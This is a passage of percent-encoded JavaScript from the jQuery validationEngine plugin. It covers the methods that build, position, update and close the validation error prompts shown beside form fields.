ring%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7Bboolean%7D%20ajaxed%20-%20use%20to%20mark%20fields%20than%20being%20validated%20with%20ajax%0A%09%09*%20@param%20%7BMap%7D%20options%20user%20options%0A%09%09*/%0A%09%09%20_showPrompt%3A%20function%28field%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%2C%20ajaxform%29%20%7B%0A%09%09%20%09//Check%20if%20we%20need%20to%20adjust%20what%20element%20to%20show%20the%20prompt%20on%0A%09%09%09if%28field.data%28%27jqv-prompt-at%27%29%20instanceof%20jQuery%20%29%7B%0A%09%09%09%09field%20%3D%20field.data%28%27jqv-prompt-at%27%29%3B%0A%09%09%09%7D%20else%20if%28field.data%28%27jqv-prompt-at%27%29%29%20%7B%0A%09%09%09%09field%20%3D%20%24%28field.data%28%27jqv-prompt-at%27%29%29%3B%0A%09%09%09%7D%0A%0A%09%09%09%20var%20prompt%20%3D%20methods._getPrompt%28field%29%3B%0A%09%09%09%20//%20The%20ajax%20submit%20errors%20are%20not%20see%20has%20an%20error%20in%20the%20form%2C%0A%09%09%09%20//%20When%20the%20form%20errors%20are%20returned%2C%20the%20engine%20see%202%20bubbles%2C%20but%20those%20are%20ebing%20closed%20by%20the%20engine%20at%20the%20same%20time%0A%09%09%09%20//%20Because%20no%20error%20was%20found%20befor%20submitting%0A%09%09%09%20if%28ajaxform%29%20prompt%20%3D%20false%3B%0A%09%09%09%20//%20Check%20that%20there%20is%20indded%20text%0A%09%09%09%20if%28%24.trim%28promptText%29%29%7B%20%0A%09%09%09%09%20if%20%28prompt%29%0A%09%09%09%09%09methods._updatePrompt%28field%2C%20prompt%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%29%3B%0A%09%09%09%09%20else%0A%09%09%09%09%09methods._buildPrompt%28field%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%29%3B%0A%09%09%09%7D%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Builds%20and%20shades%20a%20prompt%20for%20the%20given%20field.%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7Bboolean%7D%20ajaxed%20-%20use%20to%20mark%20fields%20than%20being%20validated%20with%20ajax%0A%09%09*%20@param%20%7BMap%7D%20options%20user%20options%0A%09%09*/%0A%09%09_buildPrompt%3A%20function%28field%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%29%20%7B%0A%0A%09%09%09//%20create%20the%20prompt%0A%09%09%09var%20prompt%20%3D%20%24%28%27%3Cdiv%3E%27%29%3B%0A%09%09%09prompt.addClass%28methods._getClassName%28field.attr%28%22id%22%29%29%20+%20%22formError%22%29%3B%0A%09%09%09//%20add%20a%20class%20name%20to%20identify%20the%20parent%20form%20of%20the%20prompt%0A%09%09%09prompt.addClass%28%22parentForm%22+methods._getClassName%28field.closest%28%27form%2C%20.validationEngineContainer%27%29.attr%28%22id%22%29%29%29%3B%0A%09%09%09prompt.addClass%28%22formError%22%29%3B%0A%0A%09%09%09switch%20%28type%29%20%7B%0A%09%09%09%09case%20%22pass%22%3A%0A%09%09%09%09%09prompt.addClass%28%22greenPopup%22%29%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22load%22%3A%0A%09%09%09%09%09prompt.addClass%28%22blackPopup%22%29%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09default%3A%0A%09%09%09%09%09/*%20it%20has%20error%20%20*/%0A%09%09%09%09%09//alert%28%22unknown%20popup%20type%3A%22+type%29%3B%0A%09%09%09%7D%0A%09%09%09if%20%28ajaxed%29%0A%09%09%09%09prompt.addClass%28%22ajaxed%22%29%3B%0A%0A%09%09%09//%20create%20the%20prompt%20content%0A%09%09%09var%20promptContent%20%3D%20%24%28%27%3Cdiv%3E%27%29.addClass%28%22formErrorContent%22%29.html%28promptText%29.appendTo%28prompt%29%3B%0A%0A%09%09%09//%20determine%20position%20type%0A%09%09%09var%20positionType%3Dfield.data%28%22promptPosition%22%29%20%7C%7C%20options.promptPosition%3B%0A%0A%09%09%09//%20create%20the%20css%20arrow%20pointing%20at%20the%20field%0A%09%09%09//%20note%20that%20there%20is%20no%20triangle%20on%20max-checkbox%20and%20radio%0A%09%09%09if%20%28options.showArrow%29%20%7B%0A%09%09%09%09var%20arrow%20%3D%20%24%28%27%3Cdiv%3E%27%29.addClass%28%22formErrorArrow%22%29%3B%0A%0A%09%09%09%09//prompt%20positioning%20adjustment%20support.%20Usage%3A%20positionType%3AXshift%2CYshift%20%28for%20ex.%3A%20bottomLeft%3A+20%20or%20bottomLeft%3A-20%2C+10%29%0A%09%09%09%09if%20%28typeof%28positionType%29%3D%3D%27string%27%29%20%0A%09%09%09%09%7B%0A%09%09%09%09%09var%20pos%3DpositionType.indexOf%28%22%3A%22%29%3B%0A%09%09%09%09%09if%28pos%21%3D-1%29%0A%09%09%09%09%09%09positionType%3DpositionType.substring%280%2Cpos%29%3B%0A%09%09%09%09%7D%0A%0A%09%09%09%09switch%20%28positionType%29%20%7B%0A%09%09%09%09%09case%20%22bottomLeft%22%3A%0A%09%09%09%09%09case%20%22bottomRight%22%3A%0A%09%09%09%09%09%09prompt.find%28%22.formErrorContent%22%29.before%28arrow%29%3B%0A%09%09%09%09%09%09arrow.addClass%28%22formErrorArrowBottom%22%29.html%28%27%3Cdiv%20class%3D%22line1%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line2%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line3%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line4%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line5%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line6%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line7%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line8%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line9%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line10%22%3E%3C%21--%20--%3E%3C/div%3E%27%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22topLeft%22%3A%0A%09%09%09%09%09case%20%22topRight%22%3A%0A%09%09%09%09%09%09arrow.html%28%27%3Cdiv%20class%3D%22line10%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line9%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line8%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line7%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line6%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line5%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line4%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line3%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line2%22%3E%3C%21--%20--%3E%3C/div%3E%3Cdiv%20class%3D%22line1%22%3E%3C%21--%20--%3E%3C/div%3E%27%29%3B%0A%09%09%09%09%09%09prompt.append%28arrow%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09//%20Add%20custom%20prompt%20class%0A%09%09%09if%20%28options.addPromptClass%29%0A%09%09%09%09prompt.addClass%28options.addPromptClass%29%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20Add%20custom%20prompt%20class%20defined%20in%20element%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20requiredOverride%20%3D%20field.attr%28%27data-required-class%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28requiredOverride%20%21%3D%3D%20undefined%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20prompt.addClass%28requiredOverride%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28options.prettySelect%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28%24%28%27%23%27%20+%20field.attr%28%27id%27%29%29.next%28%29.is%28%27select%27%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20prettyOverrideClass%20%3D%20%24%28%27%23%27%20+%20field.attr%28%27id%27%29.substr%28options.usePrefix.length%29.substring%28options.useSuffix.length%29%29.attr%28%27data-required-class%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28prettyOverrideClass%20%21%3D%3D%20undefined%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20prompt.addClass%28prettyOverrideClass%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%0A%09%09%09prompt.css%28%7B%0A%09%09%09%09%22opacity%22%3A%200%0A%09%09%09%7D%29%3B%0A%09%09%09if%28positionType%20%3D%3D%3D%20%27inline%27%29%20%7B%0A%09%09%09%09prompt.addClass%28%22inline%22%29%3B%0A%09%09%09%09if%28typeof%20field.attr%28%27data-prompt-target%27%29%20%21%3D%3D%20%27undefined%27%20%26%26%20%24%28%27%23%27+field.attr%28%27data-prompt-target%27%29%29.length%20%3E%200%29%20%7B%0A%09%09%09%09%09prompt.appendTo%28%24%28%27%23%27+field.attr%28%27data-prompt-target%27%29%29%29%3B%0A%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09field.after%28prompt%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09field.before%28prompt%29%3B%09%09%09%09%0A%09%09%09%7D%0A%09%09%09%0A%09%09%09var%20pos%20%3D%20methods._calculatePosition%28field%2C%20prompt%2C%20options%29%3B%0A%09%09%09prompt.css%28%7B%0A%09%09%09%09%27position%27%3A%20positionType%20%3D%3D%3D%20%27inline%27%20%3F%20%27relative%27%20%3A%20%27absolute%27%2C%0A%09%09%09%09%22top%22%3A%20pos.callerTopPosition%2C%0A%09%09%09%09%22left%22%3A%20pos.callerleftPosition%2C%0A%09%09%09%09%22marginTop%22%3A%20pos.marginTopSize%2C%0A%09%09%09%09%22opacity%22%3A%200%0A%09%09%09%7D%29.data%28%22callerField%22%2C%20field%29%3B%0A%09%09%09%0A%0A%09%09%09if%20%28options.autoHidePrompt%29%20%7B%0A%09%09%09%09setTimeout%28function%28%29%7B%0A%09%09%09%09%09prompt.animate%28%7B%0A%09%09%09%09%09%09%22opacity%22%3A%200%0A%09%09%09%09%09%7D%2Cfunction%28%29%7B%0A%09%09%09%09%09%09prompt.closest%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%09%09prompt.remove%28%29%3B%0A%09%09%09%09%09%7D%29%3B%0A%09%09%09%09%7D%2C%20options.autoHideDelay%29%3B%0A%09%09%09%7D%20%0A%09%09%09return%20prompt.animate%28%7B%0A%09%09%09%09%22opacity%22%3A%200.87%0A%09%09%09%7D%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Updates%20the%20prompt%20text%20field%20-%20the%20field%20for%20which%20the%20prompt%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7Bboolean%7D%20ajaxed%20-%20use%20to%20mark%20fields%20than%20being%20validated%20with%20ajax%0A%09%09*%20@param%20%7BMap%7D%20options%20user%20options%0A%09%09*/%0A%09%09_updatePrompt%3A%20function%28field%2C%20prompt%2C%20promptText%2C%20type%2C%20ajaxed%2C%20options%2C%20noAnimation%29%20%7B%0A%0A%09%09%09if%20%28prompt%29%20%7B%0A%09%09%09%09if%20%28typeof%20type%20%21%3D%3D%20%22undefined%22%29%20%7B%0A%09%09%09%09%09if%20%28type%20%3D%3D%20%22pass%22%29%0A%09%09%09%09%09%09prompt.addClass%28%22greenPopup%22%29%3B%0A%09%09%09%09%09else%0A%09%09%09%09%09%09prompt.removeClass%28%22greenPopup%22%29%3B%0A%0A%09%09%09%09%09if%20%28type%20%3D%3D%20%22load%22%29%0A%09%09%09%09%09%09prompt.addClass%28%22blackPopup%22%29%3B%0A%09%09%09%09%09else%0A%09%09%09%09%09%09prompt.removeClass%28%22blackPopup%22%29%3B%0A%09%09%09%09%7D%0A%09%09%09%09if%20%28ajaxed%29%0A%09%09%09%09%09prompt.addClass%28%22ajaxed%22%29%3B%0A%09%09%09%09else%0A%09%09%09%09%09prompt.removeClass%28%22ajaxed%22%29%3B%0A%0A%09%09%09%09prompt.find%28%22.formErrorContent%22%29.html%28promptText%29%3B%0A%0A%09%09%09%09var%20pos%20%3D%20methods._calculatePosition%28field%2C%20prompt%2C%20options%29%3B%0A%09%09%09%09var%20css%20%3D%20%7B%22top%22%3A%20pos.callerTopPosition%2C%0A%09%09%09%09%22left%22%3A%20pos.callerleftPosition%2C%0A%09%09%09%09%22marginTop%22%3A%20pos.marginTopSize%7D%3B%0A%0A%09%09%09%09if%20%28noAnimation%29%0A%09%09%09%09%09prompt.css%28css%29%3B%0A%09%09%09%09else%0A%09%09%09%09%09prompt.animate%28css%29%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Closes%20the%20prompt%20associated%20with%20the%20given%20field%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*/%0A%09%09%20_closePrompt%3A%20function%28field%29%20%7B%0A%09%09%09%20var%20prompt%20%3D%20methods._getPrompt%28field%29%3B%0A%09%09%09%20if%20%28prompt%29%0A%09%09%09%09%20prompt.fadeTo%28%22fast%22%2C%200%2C%20function%28%29%20%7B%0A%09%09%09%09%09%20prompt.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%09%20prompt.remove%28%29%3B%0A%09%09%09%09%20%7D%29%3B%0A%09%09%20%7D%2C%0A%09%09%20closePrompt%3A%20function%28field%29%20%7B%0A%09%09%09%20return%20methods._closePrompt%28field%29%3B%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Returns%20the%20error%20prompt%20matching%20the%20field%20if%20any%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@return%20undefined%20or%20the%20error%20prompt%20%28jqObject%29%0A%09%09*/%0A%09%09_getPrompt%3A%20function%28field%29%20%7B%0A%09%09%09%09var%20formId%20%3D%20%24%28field%29.closest%28%27form%2C%20.validationEngineContainer%27%29.attr%28%27id%27%29%3B%0A%09%09%09var%20className%20%3D%20methods._getClassName%28field.attr%28%22id%22%29%29%20+%20%22formError%22%3B%0A%09%09%09%09var%20match%20%3D%20%24%28%22.%22%20+%20methods._escapeExpression%28className%29%20+%20%27.parentForm%27%20+%20methods._getClassName%28formId%29%29%5B0%5D%3B%0A%09%09%09if%20%28match%29%0A%09%09%09return%20%24%28match%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09%20%20*%20Returns%20the%20escapade%20classname%0A%09%09%20%20*%0A%09%09%20%20*%20@param%20%7Bselector%7D%0A%09%09%20%20*%20%20%20%20%20%20%20%20%20%20%20%20className%0A%09%09%20%20*/%0A%09%09%20%20_escapeExpression%3A%20function%20%28selector%29%20%7B%0A%09%09%09%20%20return%20selector.replace%28/%28%5B%23%3B%26%2C%5C.%5C+%5C*%5C%7E%27%3A%22%5C%21%5C%5E%24%5C%5B%5C%5D%5C%28%5C%29%3D%3E%5C%7C%5D%29/g%2C%20%22%5C%5C%241%22%29%3B%0A%09%09%20%20%7D%2C%0A%09%09/**%0A%09%09%20*%20returns%20true%20if%20we%20are%20in%20a%20RTLed%20document%0A%09%09%20*%0A%09%09%20*%20@param%20%7BjqObject%7D%20field%0A%09%09%20*/%0A%09%09isRTL%3A%20function%28field%29%0A%09%09%7B%0A%09%09%09var%20%24document%20%3D%20%24%28document%29%3B%0A%09%09%09var%20%24body%20%3D%20%24%28%27body%27%29%3B%0A%09%09%09var%20rtl%20%3D%0A%09%09%09%09%28field%20%26%26%20field.hasClass%28%27rtl%27%29%29%20%7C%7C%0A%09%09%09%09%28field%20%26%26%20%28field.attr%28%27dir%27%29%20%7C%7C%20%27%27%29.toLowerCase%28%29%3D%3D%3D%27rtl%27%29%20%7C%7C%0A%09%09%09%09%24document.hasClass%28%27rtl%27%29%20%7C%7C%0A%09%09%09%09%28%24document.attr%28%27dir%27%29%20%7C%7C%20%27%27%29.toLowerCase%28%29%3D%3D%3D%27rtl%27%20%7C%7C%0A%09%09%09%09%24body.hasClass%28%27rtl%27%29%20%7C%7C%0A%09%09%09%09%28%24body.attr%28%27dir%27%29%20%7C%7C%20%27%27%29.toLowerCase%28%29%3D%3D%3D%27rtl%27%3B%0A%09%09%09return%20Boolean%28rtl%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Calculates%20prompt%20position%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20the%20prompt%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20options%0A%09%09*%20@return%20positions%0A%09%09*/%0A%09%09_calculatePosition%3A%20function%20%28field%2C%20promptElmt%2C%20options%29%20%7B%0A%0A%09%09%09var%20promptTopPosition%2C%20promptleftPosition%2C%20marginTopSize%3B%0A%09%09%09var%20fieldWidth%20%09%3D%20field.width%28%29%3B%0A%09%09%09var%20fieldLeft%20%09%3D%20field.position%28%29.left%3B%20%0A%09%09%09var%20fieldTop%20%09%3D%20%20field.position%28%29.top%3B%0A%09%09%09var%20fieldHeight%20%09%3D%20%20field.height%28%29%3B%09%0A%09%09%09var%20promptHeight%20%3D%20promptElmt.height%28%29%3B%0A%0A%0A%09%09%09//%20is%20the%20form%20contained%20in%20an%20overflown%20container%3F%0A%09%09%09promptTopPosition%20%3D%20promptleftPosition%20%3D%200%3B%0A%09%09%09//%20compensation%20for%20the%20arrow%0A%09%09%09marginTopSize%20%3D%20-promptHeight%3B%0A%09%09%0A%0A%09%09%09//prompt%20positioning%20adjustment%20support%0A%09%09%09//now%20you%20can%20adjust%20prompt%20position%0A%09%09%09//usage%3A%20positionType%3AXshift%2CYshift%0A%09%09%09//for%20example%3A%0A%09%09%09//%20%20%20bottomLeft%3A+20%20means%20bottomLeft%20position%20shifted%20by%2020%20pixels%20right%20horizontally%0A%09%09%09//%20%20%20topRight%3A20%2C%20-15%20means%20topRight%20position%20shifted%20by%2020%20pixels%20to%20right%20and%2015%20pixels%20to%20top%0A%09%09%09//You%20can%20use%20+pixels%2C%20-%20pixels.%20If%20no%20sign%20is%20provided%20than%20+%20is%20default.%0A%09%09%09var%20positionType%3Dfield.data%28%22promptPosition%22%29%20%7C%7C%20options.promptPosition%3B%0A%09%09%09var%20shift1%3D%22%22%3B%0A%09%09%09var%20shift2%3D%22%22%3B%0A%09%09%09var%20shiftX%3D0%3B%0A%09%09%09var%20shiftY%3D0%3B%0A%09%09%09if%20%28typeof%28positionType%29%3D%3D%27string%27%29%20%7B%0A%09%09%09%09//do%20we%20have%20any%20position%20adjustments%20%3F%0A%09%09%09%09if%20%28positionType.indexOf%28%22%3A%22%29%21%3D-1%29%20%7B%0A%09%09%09%09%09shift1%3DpositionType.substring%28positionType.indexOf%28%22%3A%22%29+1%29%3B%0A%09%09%09%09%09positionType%3DpositionType.substring%280%2CpositionType.indexOf%28%22%3A%22%29%29%3B%0A%0A%09%09%09%09%09//if%20any%20advanced%20positioning%20will%20be%20needed%20%28percents%20or%20something%20else%29%20-%20parser%20should%20be%20added%20here%0A%09%09%09%09%09//for%20now%20we%20use%20simple%20parseInt%28%29%0A%0A%09%09%09%09%09//do%20we%20have%20second%20parameter%3F%0A%09%09%09%09%09if%20%28shift1.indexOf%28%22%2C%22%29%20%21%3D-1%29%20%7B%0A%09%09%09%09%09%09shift2%3Dshift1.substring%28shift1.indexOf%28%22%2C%22%29%20+1%29%3B%0A%09%09%09%09%09%09shift1%3Dshift1.substring%280%2Cshift1.indexOf%28%22%2C%22%29%29%3B%0A%09%09%09%09%09%09shiftY%3DparseInt%28shift2%29%3B%0A%09%09%09%09%09%09if%20%28isNaN%28shiftY%29%29%20shiftY%3D0%3B%0A%09%09%09%09%09%7D%3B%0A%0A%09%09%09%09%09shiftX%3DparseInt%28shift1%29%3B%0A%09%09%09%09%09if%20%28isNaN%28shift1%29%29%20shift1%3D0%3B%0A%0A%09%09%09%09%7D%3B%0A%09%09%09%7D%3B%0A%0A%09%09%09%0A%09%09%09switch%20%28positionType%29%20%7B%0A%09%09%09%09default%3A%0A%09%09%09%09case%20%22topRight%22%3A%0A%09%09%09%09%09promptleftPosition%20+%3D%20%20fieldLeft%20+%20fieldWidth%20-%2030%3B%0A%09%09%09%09%09promptTopPosition%20+%3D%20%20fieldTop%3B%0A%09%09%09%09%09break%3B%0A%0A%09%09%09%09case%20%22topLeft%22%3A%0A%09%09%09%09%09promptTopPosition%20+%3D%20%20fieldTop%3B%0A%09%09%09%09%09promptleftPosition%20+%3D%20fieldLeft%3B%20%0A%09%09%09%09%09break%3B%0A%0A%09%09%09%09case%20%22centerRight%22%3A%0A%09%09%09%09%09promptTopPosition%20%3D%20fieldTop+4%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09promptleftPosition%3D%20fieldLeft%20+%20field.outerWidth%28true%29+5%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22centerLeft%22%3A%0A%09%09%09%09%09promptleftPosition%20%3D%20fieldLeft%20-%20%28promptElmt.width%28%29%20+%202%29%3B%0A%09%09%09%09%09promptTopPosition%20%3D%20fieldTop+4%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09%0A%09%09%09%09%09break%3B%0A%0A%09%09%09%09case%20%22bottomLeft%22%3A%0A%09%09%09%09%09promptTopPosition%20%3D%20fieldTop%20+%20field.height%28%29%20+%205%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09promptleftPosition%20%3D%20fieldLeft%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22bottomRight%22%3A%0A%09%09%09%09%09promptleftPosition%20%3D%20fieldLeft%20+%20fieldWidth%20-%2030%3B%0A%09%09%09%09%09promptTopPosition%20%3D%20%20fieldTop%20+%20%20field.height%28%29%20+%205%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22inline%22%3A%0A%09%09%09%09%09promptleftPosition%20%3D%200%3B%0A%09%09%09%09%09promptTopPosition%20%3D%200%3B%0A%09%09%09%09%09marginTopSize%20%3D%200%3B%0A%09%09%09%7D%3B%0A%0A%09%09%0A%0A%09%09%09//apply%20adjusments%20if%20any%0A%09%09%09promptleftPosition%20+%3D%20shiftX%3B%0A%09%09%09promptTopPosition%20%20+%3D%20shiftY%3B%0A%0A%09%09%09return%20%7B%0A%09%09%09%09%22callerTopPosition%22%3A%20promptTopPosition%20+%20%22px%22%2C%0A%09%09%09%09%22callerleftPosition%22%3A%20promptleftPosition%20+%20%22px%22%2C%0A%09%09%09%09%22marginTopSize%22%3A%20marginTopSize%20+%20%22px%22%0A%09%09%09%7D%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Saves%20the%20user%20options%20and%20variables%20in%20the%20form.data%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20form%20-%20the%20form%20where%20the%20user%20option%20should%20be%20saved%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20options%20-%20the%20user%20options%0A%09%09*%20@return%20the%20user%20options%20%28extended%20from%20the%20defaults%29%0A%09%09*/%0A%09%09%20_saveOptions%3A%20function%28form%2C%20options%29%20%7B%0A%0A%09%09%09%20//%20is%20there%20a%20language%20localisation%20%3F%0A%09%09%09%20if%20%28%24.validationEngineLanguage%29%0A%09%09%09%20var%20allRules%20%3D%20%24.validationEngineLanguage.allRules%3B%0A%09%09%09%20else%0A%09%09%09%20%24.error%28%22jQuery.validationEngine%20rules%20are%20not%20loaded%2C%20plz%20add%20localization%20files%20to%20the%20page%22%29%3B%0A%09%09%09%20//%20---%20Internals%20DO%20NOT%20TOUCH%20or%20OVERLOAD%20---%0A%09%09%09%20//%20validation%20rules%20and%20i18%0A%09%09%09%20%24.validationEngine.defaults.allrules%20%3D%20allRules%3B%0A%0A%09%09%09%20var%20userOptions%20%3D%20%24.extend%28true%2C%7B%7D%2C%24.validationEngine.defaults%2Coptions%29%3B%0A%0A%09%09%09%20form.data%28%27jqv%27%2C%20userOptions%29%3B%0A%09%09%09%20return%20userOptions%3B%0A%09%09%20%7D%2C%0A%0A%09%09%20/**%0A%09%09%20*%20Removes%20forbidden%20characters%20from%20class%20name%0A%09%09%20*%20@param%20%7BString%7D%20className%0A%09%09%20*/%0A%09%09%20_getClassName%3A%20function%28className%29%20%7B%0A%09%09%09%20if%28className%29%0A%09%09%09%09%20return%20className.replace%28/%3A/g%2C%20%22_%22%29.replace%28/%5C./g%2C%20%22_%22%29%3B%0A%09%09%09%09%09%20%20%7D%2C%0A%09%09/**%0A%09%09%20*%20Escape%20special%20character%20for%20jQuery%20selector%0A%09%09%20*%20http%3A//totaldev.com/content/escaping-characters-get-valid-jquery-id%0A%09%09%20*%20@param%20%7BString%7D%20selector%0A%09%09%20*/%0A%09%09%20_jqSelector%3A%20function%28str%29%7B%0A%09%09%09return%20str.replace%28/%28%5B%3B%26%2C%5C.%5C+%5C*%5C%7E%27%3A%22%5C%21%5C%5E%23%24%25@%5C%5B%5C%5D%5C%28%5C%29%3D%3E%5C%7C%5D%29/g%2C%20%27%5C%5C%241%27%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Conditionally%20required%20field%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_condRequired%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20idx%2C%20dependingField%3B%0A%0A%09%09%09for%28idx%20%3D%20%28i%20+%201%29%3B%20idx%20%3C%20rules.length%3B%20idx++%29%20%7B%0A%09%09%09%09dependingField%20%3D%20jQuery%28%22%23%22%20+%20rules%5Bidx%5D%29.first%28%29%3B%0A%0A%09%09%09%09/*%20Use%20_required%20for%20determining%20wether%20dependingField%20has%20a%20value.%0A%09%09%09%09%20*%20There%20is%20logic%20there%20for%20handling%20all%20field%20types%2C%20and%20default%20value%3B%20so%20we%20won%27t%20replicate%20that%20here%0A%09%09%09%09%20*%20Indicate%20this%20special%20use%20by%20setting%20the%20last%20parameter%20to%20true%20so%20we%20only%20validate%20the%20dependingField%20on%20chackboxes%20and%20radio%20buttons%20%28%23462%29%0A%09%09%09%09%20*/%0A%09%09%09%09if%20%28dependingField.length%20%26%26%20methods._required%28dependingField%2C%20%5B%22required%22%5D%2C%200%2C%20options%2C%20true%29%20%3D%3D%20undefined%29%20%7B%0A%09%09%09%09%09/*%20We%20now%20know%20any%20of%20the%20depending%20fields%20has%20a%20value%2C%0A%09%09%09%09%09%20*%20so%20we%20can%20validate%20this%20field%20as%20per%20normal%20required%20code%0A%09%09%09%09%09%20*/%0A%09%09%09%09%09return%20methods._required%28field%2C%20%5B%22required%22%5D%2C%200%2C%20options%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%7D%2C%0A%0A%09%20%20%20%20_submitButtonClick%3A%20function%28event%29%20%7B%0A%09%20%20%20%20%20%20%20%20var%20button%20%3D%20%24%28this%29%3B%0A%09%20%20%20%20%20%20%20%20var%20form%20%3D%20button.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%20%20%20%20%20%20%20%20form.data%28%22jqv_submitButton%22%2C%20button.attr%28%22id%22%29%29%3B%0A%09%20%20%20%20%7D%0A%09%09%20%20%7D%3B%0A%0A%09%20/**%0A%09%20*%20Plugin%20entry%20point.%0A%09%20*%20You%20may%20pass%20an%20action%20as%20a%20parameter%20or%20a%20list%20of%20options.%0A%09%20*%20if%20none%2